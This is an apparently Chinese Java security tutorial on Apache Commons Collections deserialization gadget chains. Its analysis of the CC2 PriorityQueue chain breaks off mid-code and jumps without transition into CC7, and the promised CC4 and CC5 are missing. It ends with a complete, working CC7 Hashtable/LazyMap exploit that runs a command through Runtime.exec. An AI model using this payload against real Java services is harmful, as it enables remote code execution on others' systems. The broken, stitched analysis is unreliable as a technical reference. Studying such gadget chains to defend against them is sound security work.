[Java安全入门]六.CC2+CC4+CC5+CC7
一.前言
与前面几条cc不同的是,cc2的依赖是4.0版本,并且解决了高版本无法使用AnnotationInvocationHandler类的弊端。cc2使用javassist和PriorityQueue来构造链。
(图片来源网络,侵删)
二.添加依赖
org.apache.commons commons-collections4 4.0 org.javassist javassist 3.22.0-GA
三.构造链
ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
四.分析
先看一下PriorityQueue类
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); queue = new Object[size]; // Read in all elements. for (int i = 0; iPriorityQueue类的readObject将反序列化得到数据放在queue数组里,然后调用heapify()方法形成一个二叉堆
跟进到heapify()方法
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }heapify()方法对传入的数据执行siftDown()方法
继续跟进到siftDown()
private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }如果传入的比较器不是null的话,执行siftDownUsingComparator
继续跟进到siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k而LazyMap的父类AbstractMapDecorator类里面也有个equals方法,这里仅仅是比较两个key的引用是否为同一个,如果不是,则继续调用map的equals,所以可以通过LazyMap的静态方法decorate将HashMap传给map属性
public boolean equals(Object object) { if (object == this) { return true; } return map.equals(object); }HashMap本身成员没有equals方法,但是HashMap继承了父类AbstractMap里面有一个equals方法
public boolean equals(Object o) { if (o == this) return true; if (!(o instanceof Map)) return false; Map m = (Map) o; if (m.size() != size()) return false; try { Iterator i = entrySet().iterator(); while (i.hasNext()) { Entry e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) return false; } else { if (!value.equals(m.get(key))) return false; } } } catch (ClassCastException unused) { return false; } catch (NullPointerException unused) { return false; } return true; }先是判断是否为同一对象,然后判断对象的类型,最后判断map中的元素个数。到try内部,如果value不为null会调用m的get方法,m
所以有构造链
Hashtable.readObject-->Hashtable.reconstitutionPut-->AbstractMap.equals-->LazyMap.get--> ->ChainedTransformer最后抄一个网上的exp
package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.AbstractMap; import java.util.HashMap; import java.util.Hashtable; import java.util.Map; public class Main { public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException { Transformer[] fakeTransformer = new Transformer[]{}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; //ChainedTransformer实例 //先设置假的 Transformer 数组,防止生成时执行命令 Transformer chainedTransformer = new ChainedTransformer(fakeTransformer); //LazyMap实例 Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer); lazyMap1.put("yy", 1); Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer); lazyMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, "test"); hashtable.put(lazyMap2, "test"); //通过反射设置真的 ransformer 数组 Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers); //上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除 lazyMap2.remove("yy"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt")); out.writeObject(hashtable); //序列化 ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt")); in.readObject(); //反序列化 } }参考
CC链 1-7 分析 - 先知社区 (aliyun.com)
12-java安全——java反序列化CC7链分析-CSDN博客
文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。